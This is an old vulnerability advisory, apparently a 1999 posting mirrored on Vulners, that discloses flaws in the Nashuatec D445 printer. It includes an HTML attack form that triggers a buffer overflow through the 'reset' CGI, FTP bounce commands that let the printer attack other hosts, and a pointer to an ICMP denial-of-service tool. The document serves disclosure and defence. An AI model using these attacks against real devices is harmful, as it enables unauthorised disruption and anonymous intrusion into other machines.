Vulners
Lucene search
Nashuatec_printer_vulns.txt
`hi,
The NASHUATEC D445 printer is vulnerabled to many attacks.
There are 4 communs services that run in a standard
configuration: httpd, ftpd, telnetd, printer.
(tested with nmap)
I discovered last day, at least three differents ways to
attack this kind of boxes.
First, it's possible to configure remotly the server via its
own admin web server (port 80).
Naturaly the server 'll ask u for an admin password before
submiting the form to the cgi. The password field is 15
chars length but an intruder with a lightly modified copy of
the original form 'll be able to submit many more chars (
about 260 will be enough for the test ) to the cgi and
produce a buffer overflow.( see the example below )
The cgi concerned is "reset" but i suppose, every cgi are
exposed to this problem.
If our intruder decide to forge a special password with
instruction code inside he'll force the remote printer to
execute code with the target web server priviledge.
I don't have, now, all the required informations to gain
server priviledge but u may find it here very soon :)
Attacker form example:
<HTML>
<HEAD>
<TITLE>Nashuadeath</TITLE>
</HEAD>
<!-- Gregory Duchemin Aka c3rber -->
<!-- NEUROCOM -->
<!-- http://www.neurocom.com -->
<!-- 179/181 Avenue Charles de Gaulle -->
<!-- 92200 Neuilly Sur Seine -->
<!-- Tel: 01.41.43.84.84 Fax: 01.41.43.84.80 -->
<BODY>
<HR>
<CENTER><FONT SIZE=+2><big><B>NIB
450-E</B></big></FONT></CENTER>
<HR>
<CENTER><FONT SIZE=+2>Unit Serial Number
599132</FONT></CENTER>
<HR>
<H2><CENTER>Reset Unit</H2>
<HR>
<FORM ENCTYPE="x-www-form-encoded" METHOD="POST"
ACTION="http://victim-printer-ip/Forms/reset">
<B>A very big password is required to perform this function
( at least 260 chars length ).</B><BR>
<BR>
<INPUT TYPE="text" NAME="http_pwd" SIZE="100"
MAXLENGTH="1500">
<BR>
<BR>
<INPUT TYPE="SUBMIT" NAME="Submit" VALUE="T3st M3 PL3ase">
</FORM>
<P>
<HR>
<P>
<CENTER>[ <A HREF="/index">Home</A> | <A HREF="/info">Unit
Info</A> ]
</CENTER>
</BODY>
</HTML>
another flaw is present in the ftp daemon that permit the
infamous "bounce attack".
ftp printer.victim.com
user xxxxx
pass xxxxx
quote port a1,a2,a3,a4,0,25
a1.a2.a3.a4 is every other ip adress.
the ftp server doesn't check neither the type of port in the
request ( < 1024 = administrative port ) nor the ip adress
used.
So an intruder may use the service to attack some ohter
boxes anonymously.
The last one is a denial of service with an icmp redirect
storm against the printer ip stack.
Use winfreez.c to test it.
The printer 'll not respond anymore during the attack.
Have a nice day,
Gregory Duchemin.
-------------------------
NEUROCOM
http://www.neurocom.com
179/181 Avenue Charles de Gaulle
92200 Neuilly Sur Seine
Tel: 01.41.43.84.84 Fax: 01.41.43.84.80
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Oct 1999 00:00Current
7.4High risk
Vulners AI Score7.4